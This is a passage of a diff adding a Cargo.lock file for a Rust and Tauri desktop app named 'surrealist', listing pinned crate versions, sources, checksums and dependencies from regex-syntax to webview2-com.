"f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rfd" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0149778bd99b6959285b0933288206090c50e2327f47a9c463bfdbf45c8823ea" +dependencies = [ + "block", + "dispatch", + "glib-sys", + "gobject-sys", + "gtk-sys", + "js-sys", + "lazy_static", + "log", + "objc", + "objc-foundation", + "objc_id", + "raw-window-handle", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "windows 0.37.0", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.38.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "safemem" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "selectors" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe" +dependencies = [ + "bitflags 1.3.2", + "cssparser", + "derive_more", + "fxhash", + "log", + "matches", + "phf 0.8.0", + "phf_codegen 0.8.0", + "precomputed-hash", + "servo_arc", + "smallvec", + "thin-slice", +] + +[[package]] +name = "semver" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_json" +version = "1.0.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" +dependencies = [ + "itoa 1.0.10", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_with" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cd236ccc1b7a29e7e2739f27c0b2dd199804abc4290e32f59f3b68d6405c23" +dependencies = [ + "base64 0.21.6", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.1.0", + "serde", + "serde_json", + "serde_with_macros", + "time", +] + +[[package]] +name = "serde_with_macros" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serialize-to-javascript" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb" +dependencies = [ + "serde", + "serde_json", + "serialize-to-javascript-impl", +] + +[[package]] +name = "serialize-to-javascript-impl" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "servo_arc" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432" +dependencies = [ + "nodrop", + "stable_deref_trait", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "siphasher" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" + +[[package]] +name = "soup2" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2b4d76501d8ba387cf0fefbe055c3e0a59891d09f0f995ae4e4b16f6b60f3c0" +dependencies = [ + "bitflags 1.3.2", + "gio", + "glib", + "libc", + "once_cell", + "soup2-sys", +] + +[[package]] +name = "soup2-sys" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "009ef427103fcb17f802871647a7fa6c60cbb654b4c4e4c0ac60a31c5f6dc9cf" +dependencies = [ + "bitflags 1.3.2", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps 5.0.0", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "state" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbe866e1e51e8260c9eed836a042a5e7f6726bb2b411dffeaa712e19c388f23b" +dependencies = [ + "loom", +] + +[[package]] +name = "string_cache" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b" +dependencies = [ + "new_debug_unreachable", + "once_cell", + "parking_lot", + "phf_shared 0.10.0", + "precomputed-hash", + "serde", +] + +[[package]] +name = "string_cache_codegen" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", + "proc-macro2", + "quote", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "surrealist" +version = "0.0.0" +dependencies = [ + "portpicker", + "tauri", + "tauri-build", + "tauri-plugin-localhost", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "system-deps" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18db855554db7bd0e73e06cf7ba3df39f97812cb11d3f75e71c39bf45171797e" +dependencies = [ + "cfg-expr 0.9.1", + "heck 0.3.3", + "pkg-config", + "toml 0.5.11", + "version-compare 0.0.11", +] + +[[package]] +name = "system-deps" +version = "6.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" +dependencies = [ + "cfg-expr 0.15.6", + "heck 0.4.1", + "pkg-config", + "toml 0.8.8", + "version-compare 0.1.1", +] + +[[package]] +name = "tao" +version = "0.16.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75f5aefd6be4cd3ad3f047442242fd9f57cbfb3e565379f66b5e14749364fa4f" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "cc", + "cocoa", + "core-foundation", + "core-graphics", + "crossbeam-channel", + "dispatch", + "gdk", + "gdk-pixbuf", + "gdk-sys", + "gdkwayland-sys", + "gdkx11-sys", + "gio", + "glib", + "glib-sys", + "gtk", + "image", + "instant", + "jni", + "lazy_static", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "objc", + "once_cell", + "parking_lot", + "png", + "raw-window-handle", + "scopeguard", + "serde", + "tao-macros", + "unicode-segmentation", + "uuid", + "windows 0.39.0", + "windows-implement", + "x11-dl", +] + +[[package]] +name = "tao-macros" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec114582505d158b669b136e6851f85840c109819d77c42bb7c0709f727d18c2" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "tar" +version = "0.4.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb" +dependencies = [ + "filetime", + "libc", + "xattr", +] + +[[package]] +name = "target-lexicon" +version = "0.12.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69758bda2e78f098e4ccb393021a0963bb3442eac05f135c30f61b7370bbafae" + +[[package]] +name = "tauri" +version = "1.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd27c04b9543776a972c86ccf70660b517ecabbeced9fb58d8b961a13ad129af" +dependencies = [ + "anyhow", + "cocoa", + "dirs-next", + "embed_plist", + "encoding_rs", + "flate2", + "futures-util", + "glib", + "glob", + "gtk", + "heck 0.4.1", + "http 0.2.11", + "ignore", + "objc", + "once_cell", + "open", + "percent-encoding", + "rand 0.8.5", + "raw-window-handle", + "regex", + "rfd", + "semver", + "serde", + "serde_json", + "serde_repr", + "serialize-to-javascript", + "state", + "tar", + "tauri-macros", + "tauri-runtime", + "tauri-runtime-wry", + "tauri-utils", + "tempfile", + "thiserror", + "tokio", + "url", + "uuid", + "webkit2gtk", + "webview2-com", + "windows 0.39.0", +] + +[[package]] +name = "tauri-build" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9914a4715e0b75d9f387a285c7e26b5bbfeb1249ad9f842675a82481565c532" +dependencies = [ + "anyhow", + "cargo_toml", + "dirs-next", + "heck 0.4.1", + "json-patch", + "semver", + "serde", + "serde_json", + "tauri-utils", + "tauri-winres", + "walkdir", +] + +[[package]] +name = "tauri-codegen" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1554c5857f65dbc377cefb6b97c8ac77b1cb2a90d30d3448114d5d6b48a77fc" +dependencies = [ + "base64 0.21.6", + "brotli", + "ico", + "json-patch", + "plist", + "png", + "proc-macro2", + "quote", + "regex", + "semver", + "serde", + "serde_json", + "sha2", + "tauri-utils", + "thiserror", + "time", + "uuid", + "walkdir", +] + +[[package]] +name = "tauri-macros" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "277abf361a3a6993ec16bcbb179de0d6518009b851090a01adfea12ac89fa875" +dependencies = [ + "heck 0.4.1", + "proc-macro2", + "quote", + "syn 1.0.109", + "tauri-codegen", + "tauri-utils", +] + +[[package]] +name = "tauri-plugin-localhost" +version = "0.1.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?branch=v1#c00b00a93cf78e4f1b45c80e1761fcaba7603330" +dependencies = [ + "http 1.0.0", + "log", + "serde", + "serde_json", + "tauri", + "thiserror", + "tiny_http", +] + +[[package]] +name = "tauri-runtime" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf2d0652aa2891ff3e9caa2401405257ea29ab8372cce01f186a5825f1bd0e76" +dependencies = [ + "gtk", + "http 0.2.11", + "http-range", + "rand 0.8.5", + "raw-window-handle", + "serde", + "serde_json", + "tauri-utils", + "thiserror", + "url", + "uuid", + "webview2-com", + "windows 0.39.0", +] + +[[package]] +name = "tauri-runtime-wry" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6cae61fbc731f690a4899681c9052dde6d05b159b44563ace8186fc1bfb7d158" +dependencies = [ + "cocoa", + "gtk", + "percent-encoding", + "rand 0.8.5", + "raw-window-handle", + "tauri-runtime", + "tauri-utils", + "uuid", + "webkit2gtk", + "webview2-com", + "windows 0.39.0", + "wry", +] + +[[package]] +name = "tauri-utils" +version = "1.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ece74810b1d3d44f29f732a7ae09a63183d63949bbdd59c61f8ed2a1b70150db" +dependencies = [ + "brotli", + "ctor", + "dunce", + "glob", + "heck 0.4.1", + "html5ever", + "infer", + "json-patch", + "kuchikiki", + "log", + "memchr", + "phf 0.11.2", + "proc-macro2", + "quote", + "semver", + "serde", + "serde_json", + "serde_with", + "thiserror", + "url", + "walkdir", + "windows-version", +] + +[[package]] +name = "tauri-winres" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb" +dependencies = [ + "embed-resource", + "toml 0.7.8", +] + +[[package]] +name = "tempfile" +version = "3.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +dependencies = [ + "cfg-if", + "fastrand", + "redox_syscall", + "rustix", + "windows-sys 0.52.0", +] + +[[package]] +name = "tendril" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" +dependencies = [ + "futf", + "mac", + "utf-8", +] + +[[package]] +name = "thin-slice" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" + +[[package]] +name = "thiserror" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" +dependencies = [ + "deranged", + "itoa 1.0.10", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26197e33420244aeb70c3e8c78376ca46571bc4e701e4791c2cd9f57dcb3a43f" +dependencies = [ + "time-core", +] + +[[package]] +name = "tiny_http" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389915df6413a2e74fb181895f933386023c71110878cd0825588928e64cdc82" +dependencies = [ + "ascii", + "chunked_transfer", + "httpdate", + "log", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.35.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +dependencies = [ + "backtrace", + "bytes", + "num_cpus", + "pin-project-lite", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "toml" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.21.0", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "treediff" +version = "4.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52984d277bdf2a751072b5df30ec0377febdb02f7696d64c2d7d54630bac4303" +dependencies = [ + "serde_json", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicode-bidi" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "uuid" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +dependencies = [ + "getrandom 0.2.12", +] + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "version-compare" +version = "0.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c18c859eead79d8b95d09e4678566e8d70105c4e7b251f707a03df32442661b" + +[[package]] +name = "version-compare" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "vswhom" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" +dependencies = [ + "libc", + "vswhom-sys", +] + +[[package]] +name = "vswhom-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3b17ae1f6c8a2b28506cd96d412eebf83b4a0ff2cbefeeb952f2f9dfa44ba18" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "walkdir" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac36a15a220124ac510204aec1c3e5db8a22ab06fd6706d881dc6149f8ed9a12" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" + +[[package]] +name = "web-sys" +version = "0.3.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webkit2gtk" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8f859735e4a452aeb28c6c56a852967a8a76c8eb1cc32dbf931ad28a13d6370" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "gdk", + "gdk-sys", + "gio", + "gio-sys", + "glib", + "glib-sys", + "gobject-sys", + "gtk", + "gtk-sys", + "javascriptcore-rs", + "libc", + "once_cell", + "soup2", + "webkit2gtk-sys", +] + +[[package]] +name = "webkit2gtk-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d76ca6ecc47aeba01ec61e480139dda143796abcae6f83bcddf50d6b5b1dcf3" +dependencies = [ + "atk-sys", + "bitflags 1.3.2", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk-sys", + "javascriptcore-rs-sys", + "libc", + "pango-sys", + "pkg-config", + "soup2-sys", + "system-deps 6.2.0", +] + +[[package]] +name = "webview2-com" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a769c9f1a64a8734bde70caafac2b96cada12cd4aefa49196b3a386b8b4178" +dependencies = [ + "webview2-com-macros", + "webview2-com-sys", + 